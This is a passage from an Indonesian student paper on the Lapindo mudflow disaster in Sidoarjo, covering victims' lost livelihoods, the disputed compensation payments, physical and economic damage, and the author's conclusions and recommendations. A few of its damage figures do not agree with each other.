Sebagian besar dari mereka bahkan tak punya lagi mata pencaharian. Buruh-buruh pabrik terpaksa mendadak jadi pengangguran yang tak diberikan pesangon, sebab pabrik mereka terendam lumpur dan merugi. Kaum ibu yang semula bisa membantu suami mencari nafkah dengan berjualan nasi dan lauk pauk untuk sarapan para pekerja, kini tak lagi bisa berbuat apa-apa. Bahkan makan sehari 3x pun di jatah nasi bungkus. Saat Ramadhan tiba, sahur dan buka puasa memang disediakan, tapi sungguh tak nyaman karena harus antri pembagian nasi bungkus. Saya ingat tayangannya di TV saat itu, nasi bungkus untuk sahur sudah dingin, bahkan terkadang basi, maklum sudah disiapkan sejak sore/petang harinya. Selain itu mereka mengaku sama sekali tak nyaman terpaksa buka dan sahur dengan nasi dan lauk keringan. Nasi bungkus tak memungkinkan mereka menyantap sayuran berkuah. Mereka sebetulnya tak menuntut banyak, cukuplah sayur asem atau sayur bening, asal ada kuah untuk mendorong nasi agar bisa lancar masuk ke tenggorokan, maklum, makan sahur biasanya memang kurang selera.
 Sekian bulan mereka memang diberi “jadup” alias jatah hidup, kalau tak salah Rp. 300.000,- per jiwa per bulan. Kemudian ada bantuan uang kontrak rumah sebesar Rp. 2 juta per KK per tahun, untuk 2 tahun ke depan. Area yang terendam lumpur makin meluas ke desa-desa dan kecamatan lain di sekitarnya, jelas pasar baru Porong tak bisa menampung jika pengungsi yang lama tak segera pindah. Masalahnya, mencari kontrakan rumah tidaklah mudah untuk begitu banyak keluarga sekaligus. Akhirnya mereka tercerai berai, beruntung yang masih punya ortu atau mertua bisa menampung, yang tak punya sanak keluarga, keleleran mencari kontrakan yang sesuai dengan uang jatah. Di tempat kontrakan baru belum tentu dekat dengan lokasi tempat kerja atau sekolah anak-anak mereka yang rata-rata masih SD. Yang ingin kembali buka usaha warung makan atau menjahit, kebanyakan gagal karena mereka sudah kehilangan kontak dengan pelanggannya dan pelanggan pun sudah pindah entah kemana.
 Janjinya, para korban lumpur itu akan dihitung nilai asset mereka. Untuk tanah berapa ganti rugi per meter persegi dan untuk bangunan berapa. Masalahnya, semua penggantian itu kemudian berjudul “jual-beli”. Jadi seolah-olah PT. Minarak Lapindo Jaya (MLJ) membeli asset warga yang sudah terendam. Padahal, seharusnya murni ganti rugi – bila perlu ganti untung, karena tak ada warga yang menghendaki disuruh pindah begitu saja – mana ada jual beli saat asset sudah terendam lumpur? Karena akte perjanjiannya “jual-beli”, maka PT. MLJ mensyaratkan sejumlah dokumen dan sertifikat yang rata-rata tak dimiliki warga yang tinggal di dusun mereka secara turun temurun berpuluh-puluh tahun. Suatu keanehan, karena sebelum terjadi semburan, ketika Lapindo membeli tanah warga untuk dijadikan lokasi pengeboran, mereka justru sengaja membeli tanpa sertifikat, sehingga harganya miring.
 Selain persyaratan teknis dan administratif, “jual-beli” itu semula disepakati dibayar 20% di muka dan akan dibayar 80% setelah 2 tahun, ketika uang kontrak rumah habis. Pada kenyataannya tidak demikian. Ketika tiba saatnya dibayar yang 80%, tidak dibayar tunai melainkan dicicil alias diangsur. Nilai angsurannya pun kecil jika dibanding proporsinya yang 80% dari nilai asset. Kebanyakan diangsur Rp. 15 juta per bulan. Itu pun tak selamanya angsuran rutin selalu dibayar. Terkadang menunggak beberapa bulan tak ada angsuran masuk ke rekening korban.
 Sampai sekarang, warga yang awal-awal kena luapan semburan lumpur Lapindo justru ada yang belum selesai proses ganti ruginya. Mereka adalah korban tahap awal yang disebut sebagai warga dari daerah “peta terdampak” dimana proses ganti ruginya menjadi tanggung  jawab keluarga Bakrie sebagai pemilik Lapindo.
Yang lebih sedikit “beruntung” justru warga yang belakangan terkena karena mereka berada di luar peta terdampak, dimana kemudian disepakati ganti ruginya dibayarkan oleh negara melalui APBN. Justru kewajiban negara yang menggunakan dana APBN – yang nota bene juga uang rakyat, dikumpulkan dari pajak rakyat dan seharusnya untuk kepentingan rakyat banyak – inilah yang sudah lebih dulu lunas.
2.3 Dampak Semburan Lumpur Lapindo
Semburan lumpur ini membawa dampak yang luar biasa bagi masyarakat sekitar maupun bagi aktivitas perekonomian di Jawa Timur. Lumpur menggenangi kurang lebih duabelas desa di tiga kecamatan. Semula hanya menggenangi empat desa dengan ketinggian sekitar 6 meter, yang membuat dievakuasinya warga setempat untuk diungsikan serta rusaknya areal pertanian. Luapan lumpur ini juga menggenangi sarana pendidikan dan Markas Koramil Porong. Hingga bulan Agustus 2006, luapan lumpur ini telah menggenangi sejumlah desa/kelurahan di Kecamatan Porong, Jabon, dan Tanggulangin, dengan total warga yang dievakuasi sebanyak lebih dari 8.200 jiwa dan tak 25.000 jiwa mengungsi. Karena tak kurang 10.426 unit rumah terendam lumpur dan 77 unit rumah ibadah terendam lumpur.
Belum lagi akibat dari warga yang terdampak yang harus mengungsi dan memulai usaha baru karena ditempat lama sudah mapan dengan usahanya. Perusahaan-perusahaan yang pindah dan mengalami kerugian besar akibat lumpur yang sampai sekarang ganti ruginya masih belum jelas, rusaknya ekosistem lingkungan di wilayah Sidoarjo Timur. Kita tahu Sidoarjo Timur merupakan kawasan budidaya perikanan dan udang yang merupakan sektor pendorong ekonomi masyarakat Sidoarjo. Dengan adanya lumpur yang dibuang ke laut dikawatirkan akan merusak ekosistem kawasan tersebut yang menyebabkan turunnya produksi perikanan. Sekarang dampak tersebut mulai dikeluhkan oleh petani tambak yaitu menurunnya kualitas air sungai Porong sebagai air baku utama bagi tambak-tambak tersebut, berapa besar kerugian petani tambak akibat penurunan hasil panen. Untuk itu perlu dicarikan solusi bagaimana lumpur Lapindo itu tidak memberikan dampak yang sedemikian buruk bagi masyarakat Sidoarjo dan sekitarnya. Maka perlu adanya terobosan-terobosan baru guna mengurangi dampak lumpur tersebut dengan slogan "Sidoarjo Bangkit". Dengan cara intensifikasi dan ekstensifikasi usaha perekonomian pada masyarakat Sidoarjo yang terdampak baik terdampak langsung maupun tidak langsung.
Rumah/tempat tinggal yang rusak akibat diterjang lumpur dan rusak sebanyak 1.683 unit. Rinciannya: Tempat tinggal 1.810 (Siring 142, Jatirejo 480, Renokenongo 428, Kedungbendo 590, Besuki 170), sekolah 18 (7 sekolah negeri), kantor 2 (Kantor Koramil dan Kelurahan Jatirejo), pabrik 15, masjid dan musala 15 unit. Kerusakan lingkungan terhadap wilayah yang tergenangi, termasuk areal persawahan. Pihak Lapindo melalui Imam P. Agustino, Gene-ral Manager PT Lapindo Brantas, mengaku telah menyisihkan US$ 70 juta (sekitar Rp 665 miliar) untuk dana darurat penanggulangan lumpur. Akibat amblesnya permukaan tanah di sekitar semburan lumpur, pipa air milik PDAM Surabaya patah. Meledaknya pipa gas milik Pertamina akibat penurunan tanah karena tekanan lumpur dan sekitar 2,5 kilometer pipa gas terendam .
 Ditutupnya ruas jalan tol Surabaya-Gempol hingga waktu yang tidak ditentukan, dan mengakibatkan kemacetan di jalur-jalur alternatif, yaitu melalui Sidoarjo-Mojosari-Porong dan jalur Waru-tol-Porong.Tak kurang 600 hektar lahan terendam. Sebuah SUTET milik PT PLN dan seluruh jaringan telepon dan listrik di empat desa serta satu jembatan di Jalan Raya Porong tak dapat difungsikan. Penutupan ruas jalan tol ini juga menyebabkan terganggunya jalur transportasi Surabaya-Malang dan Surabaya-Banyuwangi serta kota-kota lain di bagian timur pulau Jawa

BAB IV
PENUTUP

4.1 Kesimpulan
Dari banyak pendapat ahli diketahui bahwa bencana lumpur lapindo ini disebabkan oleh kelalaian yang dilakukan oleh Lapindo Brantas Inc. Pihak Lapindo Brantas Inc tidak melakukan pemasangan casing sesuai dengan spesifikasi standar teknis pengeboran, sehingga mengakibatkan terjadinya blow out atau semburan lumpur.
Bencana lumpur lapindo ini juga memberikan banyak dampak, tidak hanya pada masyarakat sekitar namun juga pada aktivitas perekonomian di Jawa Timur. Hal ini dilihat dari banyaknya warga yang kehilangan tempat tinggal, lapangan pekerjaan, dan sarana pendidikan. Bukan hanya itu, warga sekitar juga kesulitan untuk mendapatkan air bersih, listrik, dan jaringan telepon. Selain itu juga masih ada pula pencemaran lingkungan yang diakibatkan oleh bencana ini. Namun dibalik semua dampak negatif tersebut masih ada pula dampak positif yang bisa didapat dari terjadinya bencana ini. Dampak positif itu yaitu pembuatan batu bata dan genteng dari lumpur lapindo serta pembuatan baterai dengan lumpur lapindo yang telah memenangkan juara juara kedua dari kompetisi Technopreneurship Pemuda 2012.
Pemerintah dan Lapindo Brantas Inc bekerjasama dalam melakukan upaya penyelesaian lumpur lapindo ini, tiga tim telah dibentuk untuk menyelesaikan masalah ini. Lapindo Brantas Inc juga telah melakukan 75% pembayaran ganti rugi terhadap warga.





4.2 Saran
            Adapun saran-saran yang ingin disampaikan oleh penulis adalah sebagai berikut.
Kepada pemerintah dan pihak yang bertanggung jawab
1.)    status yang jelas mengenai  keberadaan warga yang ganti rugi belum lunas;
2.)    Memberikan ganti rugi yang belum terealisasikan sesuai kesepakatan pihak yang diberikan ganti rugi dan pemberi ganti rugi;
3.)    Menjadikan semburan lumpur Lapindo sebagai peristiwa yang harus diperhatikan dan jangan ditetapkan sebagai bencana nasional.
Kepada masyarakat umum
1.)    Memperhatikan dan meningkatkan kesadaran untuk membantu korban lumpur panas Lapindo;
2.)    Turut mendukung perjuangan warga yang terkena dampak lumpur Lapindo untuk mendapatkan hak-haknya yang sesuai.
Kepada warga terdampak lumpur lapindo
1.)    Tetap berusaha untuk mendapatkan hak-hak semestinya yang harus didapatkan;
2.)    Tidak mencari simpati warga dengan cara yang meresahkan warga, seperti memberhentikan kereta api dan memblokade jalan;
3.)     Tidak melakukan tindakan-tindakan yang tidak sesuai dengan nilai dan norma.



            


DAFTAR PUSTAKA

Ainun , Emha . 2007 . Banjir Lumpur Banjir Janji . Jakarta : KompasHamzah.

Anon , 2012 , Kajian Masalah Lingkungan Lumpur Lapindo , dilihat 23 November 2014.
<http : muhamadherliansyah.blogspot.com/2012/06/kajian-masalah-lingkungan-lumpur.html

Anon ,  2012  , Banjir Lumpur Panas Sidoarjo, dilihat 23 November 2014.
< http : // id.Wikipedia.org/banjir_lumpur_panas_sidoarjo.html